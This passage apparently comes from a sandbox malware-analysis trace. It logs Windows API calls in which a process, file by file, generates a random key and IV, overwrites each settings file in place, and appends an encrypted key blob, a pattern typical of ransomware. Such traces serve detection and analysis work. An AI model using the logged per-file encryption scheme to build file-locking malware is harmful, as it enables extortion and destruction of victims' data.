lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.440] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.440] CloseHandle (hObject=0x1c24) returned 1 [0195.443] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0195.444] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.444] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{63929D0B-AAAC-4DCA-AE8A-222EC37F7A88}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.444] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x421, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x421, lpOverlapped=0x0) returned 1 [0195.445] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1057, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.445] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x421, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x421, lpOverlapped=0x0) returned 1 [0195.446] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x421 [0195.446] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.446] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.446] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.447] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.447] CloseHandle (hObject=0x1c24) returned 1 [0195.449] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.449] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.449] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{638f8e21-e157-40d7-97e0-a0c8e4c4e2b5}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.450] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3fb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3fb, lpOverlapped=0x0) returned 1 [0195.451] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1019, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.451] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3fb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3fb, lpOverlapped=0x0) returned 1 [0195.451] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3fb [0195.451] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.451] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.452] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.452] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.452] CloseHandle (hObject=0x1c24) returned 1 [0195.454] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0195.454] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.454] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{62d8ed13-c9d0-4ce8-a914-47dd628fb1b0}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.454] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x33d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x33d, lpOverlapped=0x0) returned 1 [0195.455] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-829, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.455] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x33d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x33d, lpOverlapped=0x0) returned 1 [0195.456] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x33d [0195.456] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.456] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.456] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.456] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.457] CloseHandle (hObject=0x1c24) returned 1 [0195.458] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0195.458] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0195.458] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{60C811E8-C857-404E-98BB-EE5D83C1DF5A}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.458] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x401, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x401, lpOverlapped=0x0) returned 1 [0195.460] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1025, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.460] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x401, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x401, lpOverlapped=0x0) returned 1 [0195.460] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x401 [0195.460] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.460] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.460] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.461] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.461] CloseHandle (hObject=0x1c24) returned 1 [0195.475] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0195.475] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0195.475] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{60AC7FA0-A928-4D45-B4DD-AC70A6175E67}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.476] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x431, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x431, lpOverlapped=0x0) returned 1 [0195.477] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1073, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.477] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x431, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x431, lpOverlapped=0x0) returned 1 [0195.477] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x431 [0195.477] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.477] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.478] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.478] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.478] CloseHandle (hObject=0x1c24) returned 1 [0195.479] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0195.479] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0195.479] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{5ea4f148-308c-46d7-98a9-49041b1dd468}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.480] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x371, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x371, lpOverlapped=0x0) returned 1 [0195.481] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-881, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.481] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x371, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x371, lpOverlapped=0x0) returned 1 [0195.481] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x371 [0195.481] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.481] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.482] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.482] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.482] CloseHandle (hObject=0x1c24) returned 1 [0195.483] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.484] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.484] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{5DE5B491-2CEA-4AD9-824A-982A22C0B64E}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.484] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3c6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3c6, lpOverlapped=0x0) returned 1 [0195.485] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-966, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.485] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3c6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3c6, lpOverlapped=0x0) returned 1 [0195.486] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3c6 [0195.486] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.486] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.486] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.486] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.486] CloseHandle (hObject=0x1c24) returned 1 [0195.488] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.488] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.488] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{5DD91132-02E8-43F6-88BD-E50B7BE2EF29}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.488] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x416, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x416, lpOverlapped=0x0) returned 1 [0195.490] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1046, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.490] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x416, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x416, lpOverlapped=0x0) returned 1 [0195.490] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x416 [0195.490] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.490] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.490] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.491] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.491] CloseHandle (hObject=0x1c24) returned 1 [0195.492] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.492] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.492] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{5D611F64-7985-459B-BDFF-AEC069CB2625}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.493] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x41f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x41f, lpOverlapped=0x0) returned 1 [0195.494] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1055, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.494] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x41f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x41f, lpOverlapped=0x0) returned 1 [0195.494] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x41f [0195.494] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.494] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.495] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.495] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.495] CloseHandle (hObject=0x1c24) returned 1 [0195.497] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.497] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.497] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{5D461B44-2753-4DD7-B2C0-BAB71B1F4C1A}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.497] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3e6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3e6, lpOverlapped=0x0) returned 1 [0195.498] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-998, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.498] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3e6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3e6, lpOverlapped=0x0) returned 1 [0195.498] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3e6 [0195.498] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.498] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.499] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.499] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.499] CloseHandle (hObject=0x1c24) returned 1 [0195.503] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0195.503] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.503] SetFileAttributesW 